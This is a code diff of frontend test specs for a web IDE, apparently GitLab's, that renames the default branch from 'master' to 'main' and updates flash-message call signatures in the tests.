const TEST_PROJECT_ID = projectData.name_with_namespace;
diff --git a/spec/frontend/ide/components/commit_sidebar/actions_spec.js b/spec/frontend/ide/components/commit_sidebar/actions_spec.js
index c4dccf26af3..ed9d11246ae 100644
--- a/spec/frontend/ide/components/commit_sidebar/actions_spec.js
+++ b/spec/frontend/ide/components/commit_sidebar/actions_spec.js
@@ -10,7 +10,7 @@ import {
const ACTION_UPDATE_COMMIT_ACTION = 'commit/updateCommitAction';
-const BRANCH_DEFAULT = 'master';
+const BRANCH_DEFAULT = 'main';
const BRANCH_PROTECTED = 'protected/access';
const BRANCH_PROTECTED_NO_ACCESS = 'protected/no-access';
const BRANCH_REGULAR = 'regular';
@@ -20,11 +20,7 @@ describe('IDE commit sidebar actions', () => {
let store;
let vm;
- const createComponent = ({
- hasMR = false,
- currentBranchId = 'master',
- emptyRepo = false,
- } = {}) => {
+ const createComponent = ({ hasMR = false, currentBranchId = 'main', emptyRepo = false } = {}) => {
const Component = Vue.extend(commitActions);
vm = createComponentWithStore(Component, store);
@@ -72,7 +68,7 @@ describe('IDE commit sidebar actions', () => {
it('renders current branch text', () => {
createComponent();
- expect(findText()).toContain('Commit to master branch');
+ expect(findText()).toContain('Commit to main branch');
});
it('hides merge request option when project merge requests are disabled', (done) => {
@@ -112,7 +108,7 @@ describe('IDE commit sidebar actions', () => {
it('calls again after staged changes', (done) => {
createComponent({ currentBranchId: null });
- vm.$store.state.currentBranchId = 'master';
+ vm.$store.state.currentBranchId = 'main';
vm.$store.state.changedFiles.push({});
vm.$store.state.stagedFiles.push({});
@@ -158,7 +154,7 @@ describe('IDE commit sidebar actions', () => {
it('only renders commit to current branch', () => {
expect(findRadios().length).toBe(1);
- expect(findText()).toContain('Commit to master branch');
+ expect(findText()).toContain('Commit to main branch');
});
});
});
diff --git a/spec/frontend/ide/components/commit_sidebar/form_spec.js b/spec/frontend/ide/components/commit_sidebar/form_spec.js
index f5916b021aa..83d1bbb842e 100644
--- a/spec/frontend/ide/components/commit_sidebar/form_spec.js
+++ b/spec/frontend/ide/components/commit_sidebar/form_spec.js
@@ -67,7 +67,7 @@ describe('IDE commit form', () => {
store = createStore();
store.state.stagedFiles.push('test');
store.state.currentProjectId = 'abcproject';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
Vue.set(store.state.projects, 'abcproject', {
...projectData,
userPermissions: { pushCode: true },
diff --git a/spec/frontend/ide/components/commit_sidebar/new_merge_request_option_spec.js b/spec/frontend/ide/components/commit_sidebar/new_merge_request_option_spec.js
index 253c2a426ee..4474647552d 100644
--- a/spec/frontend/ide/components/commit_sidebar/new_merge_request_option_spec.js
+++ b/spec/frontend/ide/components/commit_sidebar/new_merge_request_option_spec.js
@@ -24,7 +24,7 @@ describe('create new MR checkbox', () => {
store.state.projects[store.state.currentProjectId].userPermissions = permissions;
};
- const createComponent = ({ currentBranchId = 'master', createNewBranch = false } = {}) => {
+ const createComponent = ({ currentBranchId = 'main', createNewBranch = false } = {}) => {
const Component = Vue.extend(NewMergeRequestOption);
vm = createComponentWithStore(Component, store);
@@ -63,7 +63,7 @@ describe('create new MR checkbox', () => {
describe('is rendered when pushing to a new branch', () => {
beforeEach(() => {
createComponent({
- currentBranchId: 'master',
+ currentBranchId: 'main',
createNewBranch: true,
});
});
@@ -87,7 +87,7 @@ describe('create new MR checkbox', () => {
describe('is NOT rendered when pushing to the same branch', () => {
beforeEach(() => {
createComponent({
- currentBranchId: 'master',
+ currentBranchId: 'main',
createNewBranch: false,
});
});
diff --git a/spec/frontend/ide/components/ide_review_spec.js b/spec/frontend/ide/components/ide_review_spec.js
index 740b7ada521..7a92f59641f 100644
--- a/spec/frontend/ide/components/ide_review_spec.js
+++ b/spec/frontend/ide/components/ide_review_spec.js
@@ -19,9 +19,9 @@ describe('IDE review mode', () => {
beforeEach(() => {
store = createStore();
store.state.currentProjectId = 'abcproject';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
store.state.projects.abcproject = { ...projectData };
- Vue.set(store.state.trees, 'abcproject/master', {
+ Vue.set(store.state.trees, 'abcproject/main', {
tree: [file('fileName')],
loading: false,
});
diff --git a/spec/frontend/ide/components/ide_spec.js b/spec/frontend/ide/components/ide_spec.js
index b23a78a035d..f8d29fc7b47 100644
--- a/spec/frontend/ide/components/ide_spec.js
+++ b/spec/frontend/ide/components/ide_spec.js
@@ -22,9 +22,9 @@ describe('WebIDE', () => {
const createComponent = ({ projData = emptyProjData, state = {} } = {}) => {
store.state.currentProjectId = 'abcproject';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
store.state.projects.abcproject = projData && { ...projData };
- store.state.trees['abcproject/master'] = {
+ store.state.trees['abcproject/main'] = {
tree: [],
loading: false,
};
diff --git a/spec/frontend/ide/components/ide_status_bar_spec.js b/spec/frontend/ide/components/ide_status_bar_spec.js
index 9d33a1e2554..f1a0b64caf2 100644
--- a/spec/frontend/ide/components/ide_status_bar_spec.js
+++ b/spec/frontend/ide/components/ide_status_bar_spec.js
@@ -24,7 +24,7 @@ describe('ideStatusBar', () => {
store = createStore();
store.state.currentProjectId = TEST_PROJECT_ID;
store.state.projects[TEST_PROJECT_ID] = _.clone(projectData);
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
});
afterEach(() => {
diff --git a/spec/frontend/ide/components/ide_tree_list_spec.js b/spec/frontend/ide/components/ide_tree_list_spec.js
index c8153ea339e..85d9feb0c09 100644
--- a/spec/frontend/ide/components/ide_tree_list_spec.js
+++ b/spec/frontend/ide/components/ide_tree_list_spec.js
@@ -14,9 +14,9 @@ describe('IDE tree list', () => {
const bootstrapWithTree = (tree = normalBranchTree) => {
store.state.currentProjectId = 'abcproject';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
store.state.projects.abcproject = { ...projectData };
- Vue.set(store.state.trees, 'abcproject/master', {
+ Vue.set(store.state.trees, 'abcproject/main', {
tree,
loading: false,
});
@@ -42,7 +42,7 @@ describe('IDE tree list', () => {
});
it('renders loading indicator', (done) => {
- store.state.trees['abcproject/master'].loading = true;
+ store.state.trees['abcproject/main'].loading = true;
vm.$nextTick(() => {
expect(vm.$el.querySelector('.multi-file-loading-container')).not.toBeNull();
diff --git a/spec/frontend/ide/components/ide_tree_spec.js b/spec/frontend/ide/components/ide_tree_spec.js
index 6eef646b012..0792b88aeb6 100644
--- a/spec/frontend/ide/components/ide_tree_spec.js
+++ b/spec/frontend/ide/components/ide_tree_spec.js
@@ -18,9 +18,9 @@ describe('IdeTree', () => {
store = createStore();
store.state.currentProjectId = 'abcproject';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
store.state.projects.abcproject = { ...projectData };
- Vue.set(store.state.trees, 'abcproject/master', {
+ Vue.set(store.state.trees, 'abcproject/main', {
tree: [file('fileName')],
loading: false,
});
diff --git a/spec/frontend/ide/components/merge_requests/list_spec.js b/spec/frontend/ide/components/merge_requests/list_spec.js
index 85acabca38b..610e20d5868 100644
--- a/spec/frontend/ide/components/merge_requests/list_spec.js
+++ b/spec/frontend/ide/components/merge_requests/list_spec.js
@@ -21,7 +21,7 @@ describe('IDE merge requests list', () => {
const fakeStore = new Vuex.Store({
state: {
currentMergeRequestId: '1',
- currentProjectId: 'project/master',
+ currentProjectId: 'project/main',
...restOfState,
},
modules: {
diff --git a/spec/frontend/ide/components/nav_dropdown_spec.js b/spec/frontend/ide/components/nav_dropdown_spec.js
index 4ddb3930764..6a1be7ee964 100644
--- a/spec/frontend/ide/components/nav_dropdown_spec.js
+++ b/spec/frontend/ide/components/nav_dropdown_spec.js
@@ -14,14 +14,14 @@ describe('IDE NavDropdown', () => {
store = createStore();
Object.assign(store.state, {
currentProjectId: TEST_PROJECT_ID,
- currentBranchId: 'master',
+ currentBranchId: 'main',
projects: {
[TEST_PROJECT_ID]: {
userPermissions: {
[PERMISSION_READ_MR]: true,
},
branches: {
- master: { id: 'master' },
+ main: { id: 'main' },
},
},
},
diff --git a/spec/frontend/ide/components/new_dropdown/index_spec.js b/spec/frontend/ide/components/new_dropdown/index_spec.js
index 5a1c0471206..fa34d1b257f 100644
--- a/spec/frontend/ide/components/new_dropdown/index_spec.js
+++ b/spec/frontend/ide/components/new_dropdown/index_spec.js
@@ -13,7 +13,7 @@ describe('new dropdown component', () => {
const component = Vue.extend(newDropdown);
vm = createComponentWithStore(component, store, {
- branch: 'master',
+ branch: 'main',
path: '',
mouseOver: false,
type: 'tree',
diff --git a/spec/frontend/ide/components/new_dropdown/modal_spec.js b/spec/frontend/ide/components/new_dropdown/modal_spec.js
index 0600fcea917..fce6ccf4b58 100644
--- a/spec/frontend/ide/components/new_dropdown/modal_spec.js
+++ b/spec/frontend/ide/components/new_dropdown/modal_spec.js
@@ -1,6 +1,6 @@
import Vue from 'vue';
import { createComponentWithStore } from 'helpers/vue_mount_component_helper';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import modal from '~/ide/components/new_dropdown/modal.vue';
import { createStore } from '~/ide/stores';
@@ -182,14 +182,14 @@ describe('new file modal component', () => {
vm.submitForm();
- expect(createFlash).toHaveBeenCalledWith(
- 'The name "test-path/test" is already taken in this directory.',
- 'alert',
- expect.anything(),
- null,
- false,
- true,
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'The name "test-path/test" is already taken in this directory.',
+ type: 'alert',
+ parent: expect.anything(),
+ actionConfig: null,
+ fadeTransition: false,
+ addBodyClass: true,
+ });
});
it('does not throw error when target entry does not exist', () => {
diff --git a/spec/frontend/ide/components/repo_commit_section_spec.js b/spec/frontend/ide/components/repo_commit_section_spec.js
index c174f5e2006..db4181395d3 100644
--- a/spec/frontend/ide/components/repo_commit_section_spec.js
+++ b/spec/frontend/ide/components/repo_commit_section_spec.js
@@ -22,11 +22,11 @@ describe('RepoCommitSection', () => {
store.state.noChangesStateSvgPath = 'svg';
store.state.committedStateSvgPath = 'commitsvg';
store.state.currentProjectId = 'abcproject';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
store.state.projects.abcproject = {
web_url: '',
branches: {
- master: {
+ main: {
workingReference: '1',
},
},
@@ -39,7 +39,7 @@ describe('RepoCommitSection', () => {
}),
);
- store.state.currentBranch = 'master';
+ store.state.currentBranch = 'main';
store.state.changedFiles = [];
store.state.stagedFiles = [{ ...files[0] }, { ...files[1] }];
store.state.stagedFiles.forEach((f) =>
diff --git a/spec/frontend/ide/components/repo_editor_spec.js b/spec/frontend/ide/components/repo_editor_spec.js
index 646e51160d8..8e8fb31b15a 100644
--- a/spec/frontend/ide/components/repo_editor_spec.js
+++ b/spec/frontend/ide/components/repo_editor_spec.js
@@ -63,8 +63,8 @@ const prepareStore = (state, activeFile) => {
projects: {
'gitlab-org/gitlab': {
branches: {
- master: {
- name: 'master',
+ main: {
+ name: 'main',
commit: {
id: 'abcdefgh',
},
@@ -73,7 +73,7 @@ const prepareStore = (state, activeFile) => {
},
},
currentProjectId: 'gitlab-org/gitlab',
- currentBranchId: 'master',
+ currentBranchId: 'main',
entries: {
[activeFile.path]: activeFile,
},
@@ -656,7 +656,7 @@ describe('RepoEditor', () => {
});
it("does not add file to state or set markdown image syntax if the file isn't markdown", async () => {
- wrapper.setProps({
+ await wrapper.setProps({
file: setFileName('myfile.txt'),
});
pasteImage();
diff --git a/spec/frontend/ide/ide_router_spec.js b/spec/frontend/ide/ide_router_spec.js
index acab2c6aeef..3fb7781b176 100644
--- a/spec/frontend/ide/ide_router_spec.js
+++ b/spec/frontend/ide/ide_router_spec.js
@@ -18,14 +18,14 @@ describe('IDE router', () => {
});
[
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/master/-/src/blob/`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/master/-/src/blob`,
+ `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/main/-/src/blob/`,
+ `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/main/-/src/blob`,
`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/blob/-/src/blob`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/master/-/src/tree/`,
+ `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/main/-/src/tree/`,
`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/weird:branch/name-123/-/src/tree/`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/master/-/src/blob`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/master/-/src/edit`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/master/-/src/merge_requests/2`,
+ `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/main/-/src/blob`,
+ `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/main/-/src/edit`,
+ `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/main/-/src/merge_requests/2`,
`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/blob/-/src/blob`,
`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/edit/blob/-/src/blob`,
`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/merge_requests/2`,
diff --git a/spec/frontend/ide/mock_data.js b/spec/frontend/ide/mock_data.js
index c8925e6745d..557626b3cca 100644
--- a/spec/frontend/ide/mock_data.js
+++ b/spec/frontend/ide/mock_data.js
@@ -8,8 +8,8 @@ export const projectData = {
path: '',
name_with_namespace: 'namespace/abcproject',
branches: {
- master: {
- treeId: 'abcproject/master',
+ main: {
+ treeId: 'abcproject/main',
can_push: true,
commit: {
id: '123',
@@ -19,13 +19,13 @@ export const projectData = {
mergeRequests: {},
merge_requests_enabled: true,
userPermissions: {},
- default_branch: 'master',
+ default_branch: 'main',
};
export const pipelines = [
{
id: 1,
- ref: 'master',
+ ref: 'main',
sha: '123',
details: {
status: {
@@ -38,7 +38,7 @@ export const pipelines = [
},
{
id: 2,
- ref: 'master',
+ ref: 'main',
sha: '213',
details: {
status: {
@@ -178,9 +178,9 @@ export const mergeRequests = [
export const branches = [
{
id: 1,
- name: 'master',
+ name: 'main',
commit: {
- message: 'Update master branch',
+ message: 'Update main branch',
committed_date: '2018-08-01T00:20:05Z',
},
can_push: true,
diff --git a/spec/frontend/ide/services/index_spec.js b/spec/frontend/ide/services/index_spec.js
index 4a726cff3b6..925446aa280 100644
--- a/spec/frontend/ide/services/index_spec.js
+++ b/spec/frontend/ide/services/index_spec.js
@@ -15,7 +15,7 @@ jest.mock('~/ide/services/gql');
const TEST_NAMESPACE = 'alice';
const TEST_PROJECT = 'wonderland';
const TEST_PROJECT_ID = `${TEST_NAMESPACE}/${TEST_PROJECT}`;
-const TEST_BRANCH = 'master-patch-123';
+const TEST_BRANCH = 'main-patch-123';
const TEST_COMMIT_SHA = '123456789';
const TEST_FILE_PATH = 'README2.md';
const TEST_FILE_OLD_PATH = 'OLD_README2.md';
diff --git a/spec/frontend/ide/stores/actions/file_spec.js b/spec/frontend/ide/stores/actions/file_spec.js
index 6178fb08d8c..6b94d7cf6f1 100644
--- a/spec/frontend/ide/stores/actions/file_spec.js
+++ b/spec/frontend/ide/stores/actions/file_spec.js
@@ -29,7 +29,7 @@ describe('IDE store file actions', () => {
store = createStore();
store.state.currentProjectId = 'test/test';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
router = createRouter(store);
@@ -85,7 +85,7 @@ describe('IDE store file actions', () => {
.dispatch('closeFile', localFile)
.then(Vue.nextTick)
.then(() => {
- expect(router.push).toHaveBeenCalledWith('/project/test/test/tree/master/-/newOpenFile/');
+ expect(router.push).toHaveBeenCalledWith('/project/test/test/tree/main/-/newOpenFile/');
});
});
@@ -177,11 +177,11 @@ describe('IDE store file actions', () => {
store.state.entries[localFile.path] = localFile;
store.state.currentProjectId = 'test/test';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
store.state.projects['test/test'] = {
branches: {
- master: {
+ main: {
commit: {
id: '7297abc',
},
@@ -260,7 +260,7 @@ describe('IDE store file actions', () => {
it('sets document title with the branchId', () => {
return store.dispatch('getFileData', { path: localFile.path }).then(() => {
- expect(document.title).toBe(`${localFile.path} · master · test/test · GitLab`);
+ expect(document.title).toBe(`${localFile.path} · main · test/test · GitLab`);
});
});
@@ -329,7 +329,7 @@ describe('IDE store file actions', () => {
it('sets document title considering `prevPath` on a file', () => {
return store.dispatch('getFileData', { path: localFile.path }).then(() => {
- expect(document.title).toBe(`new-shiny-file · master · test/test · GitLab`);
+ expect(document.title).toBe(`new-shiny-file · main · test/test · GitLab`);
});
});
});
@@ -702,7 +702,7 @@ describe('IDE store file actions', () => {
});
it('pushes route for active file', () => {
- expect(router.push).toHaveBeenCalledWith('/project/test/test/tree/master/-/tempFile/');
+ expect(router.push).toHaveBeenCalledWith('/project/test/test/tree/main/-/tempFile/');
});
});
});
@@ -778,7 +778,7 @@ describe('IDE store file actions', () => {
it('pushes router URL when added', () => {
return store.dispatch('openPendingTab', { file: f, keyPrefix: 'pending' }).then(() => {
- expect(router.push).toHaveBeenCalledWith('/project/test/test/tree/master/');
+ expect(router.push).toHaveBeenCalledWith('/project/test/test/tree/main/');
});
});
});
diff --git a/spec/frontend/ide/stores/actions/merge_request_spec.js b/spec/frontend/ide/stores/actions/merge_request_spec.js
index 600bd5fe9e1..e62811a4517 100644
--- a/spec/frontend/ide/stores/actions/merge_request_spec.js
+++ b/spec/frontend/ide/stores/actions/merge_request_spec.js
@@ -2,7 +2,7 @@ import MockAdapter from 'axios-mock-adapter';
import { range } from 'lodash';
import { TEST_HOST } from 'helpers/test_constants';
import testAction from 'helpers/vuex_action_helper';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { leftSidebarViews, PERMISSION_READ_MR, MAX_MR_FILES_AUTO_OPEN } from '~/ide/constants';
import service from '~/ide/services';
import { createStore } from '~/ide/stores';
@@ -145,7 +145,9 @@ describe('IDE store merge request actions', () => {
.dispatch('getMergeRequestsForBranch', { projectId: TEST_PROJECT, branchId: 'bar' })
.catch(() => {
expect(createFlash).toHaveBeenCalled();
- expect(createFlash.mock.calls[0][0]).toBe('Error fetching merge requests for bar');
+ expect(createFlash.mock.calls[0][0].message).toBe(
+ 'Error fetching merge requests for bar',
+ );
})
.then(done)
.catch(done.fail);
@@ -461,11 +463,11 @@ describe('IDE store merge request actions', () => {
};
store.state.currentProjectId = 'test/test';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
store.state.projects['test/test'] = {
branches: {
- master: {
+ main: {
commit: {
id: '7297abc',
},
@@ -562,7 +564,9 @@ describe('IDE store merge request actions', () => {
openMergeRequest(store, mr)
.catch(() => {
- expect(createFlash).toHaveBeenCalledWith(expect.any(String));
+ expect(createFlash).toHaveBeenCalledWith({
+ message: expect.any(String),
+ });
})
.then(done)
.catch(done.fail);
diff --git a/spec/frontend/ide/stores/actions/project_spec.js b/spec/frontend/ide/stores/actions/project_spec.js
index 23ffb5ff56b..ca6f7169059 100644
--- a/spec/frontend/ide/stores/actions/project_spec.js
+++ b/spec/frontend/ide/stores/actions/project_spec.js
@@ -37,11 +37,11 @@ describe('IDE store project actions', () => {
describe('refreshLastCommitData', () => {
beforeEach(() => {
store.state.currentProjectId = 'abc/def';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
store.state.projects['abc/def'] = {
id: 4,
branches: {
- master: {
+ main: {
commit: null,
},
},
@@ -60,7 +60,7 @@ describe('IDE store project actions', () => {
branchId: store.state.currentBranchId,
})
.then(() => {
- expect(service.getBranchData).toHaveBeenCalledWith('abc/def', 'master');
+ expect(service.getBranchData).toHaveBeenCalledWith('abc/def', 'main');
done();
})
@@ -81,7 +81,7 @@ describe('IDE store project actions', () => {
type: 'SET_BRANCH_COMMIT',
payload: {
projectId: TEST_PROJECT_ID,
- branchId: 'master',
+ branchId: 'main',
commit: { id: '123' },
},
},
@@ -97,17 +97,17 @@ describe('IDE store project actions', () => {
it('dispatches setErrorMessage', (done) => {
testAction(
showBranchNotFoundError,
- 'master',
+ 'main',
null,
[],
[
{
type: 'setErrorMessage',
payload: {
- text: "Branch <strong>master</strong> was not found in this project's repository.",
+ text: "Branch <strong>main</strong> was not found in this project's repository.",
action: expect.any(Function),
actionText: 'Create branch',
- actionPayload: 'master',
+ actionPayload: 'main',
},
},
],
@@ -131,7 +131,7 @@ describe('IDE store project actions', () => {
},
getters: {
currentProject: {
- default_branch: 'master',
+ default_branch: 'main',
},
},
dispatch() {},
@@ -140,7 +140,7 @@ describe('IDE store project actions', () => {
)
.then(() => {
expect(api.createBranch).toHaveBeenCalledWith('project-path', {
- ref: 'master',
+ ref: 'main',
branch: 'new-branch-name',
});
})
@@ -158,7 +158,7 @@ describe('IDE store project actions', () => {
},
getters: {
currentProject: {
- default_branch: 'master',
+ default_branch: 'main',
},
},
dispatch: dispatchSpy,
@@ -180,7 +180,7 @@ describe('IDE store project actions', () => {
},
getters: {
currentProject: {
- default_branch: 'master',
+ default_branch: 'main',
},
},
dispatch() {},
@@ -199,13 +199,13 @@ describe('IDE store project actions', () => {
it('creates a blank tree and sets loading state to false', (done) => {
testAction(
loadEmptyBranch,
- { projectId: TEST_PROJECT_ID, branchId: 'master' },
+ { projectId: TEST_PROJECT_ID, branchId: 'main' },
store.state,
[
- { type: 'CREATE_TREE', payload: { treePath: `${TEST_PROJECT_ID}/master` } },
+ { type: 'CREATE_TREE', payload: { treePath: `${TEST_PROJECT_ID}/main` } },
{
type: 'TOGGLE_LOADING',
- payload: { entry: store.state.trees[`${TEST_PROJECT_ID}/master`], forceValue: false },
+ payload: { entry: store.state.trees[`${TEST_PROJECT_ID}/main`], forceValue: false },
},
],
expect.any(Object),
@@ -214,11 +214,11 @@ describe('IDE store project actions', () => {
});
it('does nothing, if tree already exists', (done) => {
- const trees = { [`${TEST_PROJECT_ID}/master`]: [] };
+ const trees = { [`${TEST_PROJECT_ID}/main`]: [] };
testAction(
loadEmptyBranch,
- { projectId: TEST_PROJECT_ID, branchId: 'master' },
+ { projectId: TEST_PROJECT_ID, branchId: 'main' },
{ trees },
[],
[],
diff --git a/spec/frontend/ide/stores/actions/tree_spec.js b/spec/frontend/ide/stores/actions/tree_spec.js
index 8de2188a5f4..8d7328725e9 100644
--- a/spec/frontend/ide/stores/actions/tree_spec.js
+++ b/spec/frontend/ide/stores/actions/tree_spec.js
@@ -18,8 +18,8 @@ describe('Multi-file store tree actions', () => {
const basicCallParameters = {
endpoint: 'rootEndpoint',
projectId: 'abcproject',
- branch: 'master',
- branchId: 'master',
+ branch: 'main',
+ branchId: 'main',
ref: '12345678',
};
@@ -31,7 +31,7 @@ describe('Multi-file store tree actions', () => {
mock = new MockAdapter(axios);
store.state.currentProjectId = 'abcproject';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
store.state.projects.abcproject = {
web_url: '',
path_with_namespace: 'foo/abcproject',
@@ -66,7 +66,7 @@ describe('Multi-file store tree actions', () => {
store
.dispatch('getFiles', basicCallParameters)
.then(() => {
- projectTree = store.state.trees['abcproject/master'];
+ projectTree = store.state.trees['abcproject/main'];
expect(projectTree.tree.length).toBe(2);
expect(projectTree.tree[0].type).toBe('tree');
@@ -89,7 +89,7 @@ describe('Multi-file store tree actions', () => {
'abc/def': {
web_url: `${TEST_HOST}/files`,
branches: {
- 'master-testing': {
+ 'main-testing': {
commit: {
id: '12345',
},
@@ -98,7 +98,7 @@ describe('Multi-file store tree actions', () => {
},
};
const getters = {
- findBranch: () => store.state.projects['abc/def'].branches['master-testing'],
+ findBranch: () => store.state.projects['abc/def'].branches['main-testing'],
};
mock.onGet(/(.*)/).replyOnce(500);
@@ -112,7 +112,7 @@ describe('Multi-file store tree actions', () => {
},
{
projectId: 'abc/def',
- branchId: 'master-testing',
+ branchId: 'main-testing',
},
)
.then(done.fail)
@@ -121,7 +121,7 @@ describe('Multi-file store tree actions', () => {
text: 'An error occurred while loading all the files.',
action: expect.any(Function),
actionText: 'Please try again',
- actionPayload: { projectId: 'abc/def', branchId: 'master-testing' },
+ actionPayload: { projectId: 'abc/def', branchId: 'main-testing' },
});
done();
});
@@ -178,17 +178,17 @@ describe('Multi-file store tree actions', () => {
describe('setDirectoryData', () => {
it('sets tree correctly if there are no opened files yet', (done) => {
const treeFile = file({ name: 'README.md' });
- store.state.trees['abcproject/master'] = {};
+ store.state.trees['abcproject/main'] = {};
testAction(
setDirectoryData,
- { projectId: 'abcproject', branchId: 'master', treeList: [treeFile] },
+ { projectId: 'abcproject', branchId: 'main', treeList: [treeFile] },
store.state,
[
{
type: types.SET_DIRECTORY_DATA,
payload: {
- treePath: 'abcproject/master',
+ treePath: 'abcproject/main',
data: [treeFile],
},
},
diff --git a/spec/frontend/ide/stores/actions_spec.js b/spec/frontend/ide/stores/actions_spec.js
index ad55313da93..e575667b8c6 100644
--- a/spec/frontend/ide/stores/actions_spec.js
+++ b/spec/frontend/ide/stores/actions_spec.js
@@ -777,7 +777,7 @@ describe('Multi-file store actions', () => {
it('routes to the renamed file if the original file has been opened', (done) => {
store.state.currentProjectId = 'test/test';
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
Object.assign(store.state.entries.orig, {
opened: true,
@@ -790,7 +790,7 @@ describe('Multi-file store actions', () => {
})
.then(() => {
expect(router.push.mock.calls).toHaveLength(1);
- expect(router.push).toHaveBeenCalledWith(`/project/test/test/tree/master/-/renamed/`);
+ expect(router.push).toHaveBeenCalledWith(`/project/test/test/tree/main/-/renamed/`);
})
.then(done)
.catch(done.fail);
@@ -1019,7 +1019,7 @@ describe('Multi-file store actions', () => {
},
{
projectId: 'abc/def',
- branchId: 'master-testing',
+ branchId: 'main-testing',
},
];
dispatch = jest.fn();
diff --git a/spec/frontend/ide/stores/getters_spec.js b/spec/frontend/ide/stores/getters_spec.js
index 06456cdb12a..53d161ae5c9 100644
--- a/spec/frontend/ide/stores/getters_spec.js
+++ b/spec/frontend/ide/stores/getters_spec.js
@@ -209,12 +209,12 @@ describe('IDE store getters', () => {
describe('currentBranch', () => {
it('returns current projects branch', () => {
localState.currentProjectId = 'abcproject';
- localState.currentBranchId = 'master';
+ localState.currentBranchId = 'main';
localState.projects.abcproject = {
name: 'abcproject',
branches: {
- master: {
- name: 'master',
+ main: {
+ name: 'main',
},
},
};
@@ -223,7 +223,7 @@ describe('IDE store getters', () => {
};
getters.currentBranch(localState, localGetters);
- expect(localGetters.findBranch).toHaveBeenCalledWith('abcproject', 'master');
+ expect(localGetters.findBranch).toHaveBeenCalledWith('abcproject', 'main');
});
});
@@ -243,12 +243,12 @@ describe('IDE store getters', () => {
it('returns the selected branch from a project', () => {
localState.currentProjectId = 'abcproject';
- localState.currentBranchId = 'master';
+ localState.currentBranchId = 'main';
localState.projects.abcproject = {
name: 'abcproject',
branches: {
- master: {
- name: 'master',
+ main: {
+ name: 'main',
},
},
};
@@ -256,9 +256,9 @@ describe('IDE store getters', () => {
findProject: () => localState.projects.abcproject,
};
- result = getters.findBranch(localState, localGetters)('abcproject', 'master');
+ result = getters.findBranch(localState, localGetters)('abcproject', 'main');
- expect(result.name).toBe('master');
+ expect(result.name).toBe('main');
});
});
@@ -274,9 +274,9 @@ describe('IDE store getters', () => {
it("returns true when project's default branch matches current branch", () => {
const localGetters = {
currentProject: {
- default_branch: 'master',
+ default_branch: 'main',
},
- branchName: 'master',
+ branchName: 'main',
};
expect(getters.isOnDefaultBranch({}, localGetters)).toBeTruthy();
@@ -285,7 +285,7 @@ describe('IDE store getters', () => {
it("returns false when project's default branch doesn't match current branch", () => {
const localGetters = {
currentProject: {
- default_branch: 'master',
+ default_branch: 'main',
},
branchName: 'feature',
};
@@ -620,10 +620,10 @@ describe('IDE store getters', () => {
describe('getUrlForPath', () => {
it('returns a route url for the given path', () => {
localState.currentProjectId = 'test/test';
- localState.currentBranchId = 'master';
+ localState.currentBranchId = 'main';
expect(localStore.getters.getUrlForPath('path/to/foo/bar-1.jpg')).toBe(
- `/project/test/test/tree/master/-/path/to/foo/bar-1.jpg/`,
+ `/project/test/test/tree/main/-/path/to/foo/bar-1.jpg/`,
);
});
});
@@ -631,13 +631,13 @@ describe('IDE store getters', () => {
describe('getJsonSchemaForPath', () => {
beforeEach(() => {
localState.currentProjectId = 'path/to/some/project';
- localState.currentBranchId = 'master';
+ localState.currentBranchId = 'main';
});
it('returns a json schema uri and match config for a json/yaml file that can be loaded by monaco', () => {
expect(localStore.getters.getJsonSchemaForPath('.gitlab-ci.yml')).toEqual({
fileMatch: ['*.gitlab-ci.yml'],
- uri: `${TEST_HOST}/path/to/some/project/-/schema/master/.gitlab-ci.yml`,
+ uri: `${TEST_HOST}/path/to/some/project/-/schema/main/.gitlab-ci.yml`,
});
});
@@ -645,8 +645,8 @@ describe('IDE store getters', () => {
localState.projects['path/to/some/project'] = {
name: 'project',
branches: {
- master: {
- name: 'master',
+ main: {
+ name: 'main',
commit: {
id: 'abcdef123456',
},
diff --git a/spec/frontend/ide/stores/modules/commit/actions_spec.js b/spec/frontend/ide/stores/modules/commit/actions_spec.js
index b124eb391f3..cb6bb7c1202 100644
--- a/spec/frontend/ide/stores/modules/commit/actions_spec.js
+++ b/spec/frontend/ide/stores/modules/commit/actions_spec.js
@@ -47,7 +47,7 @@ describe('IDE commit module actions', () => {
jest.spyOn(router, 'push').mockImplementation();
mock
- .onGet('/api/v1/projects/abcproject/repository/branches/master')
+ .onGet('/api/v1/projects/abcproject/repository/branches/main')
.reply(200, { commit: COMMIT_RESPONSE });
});
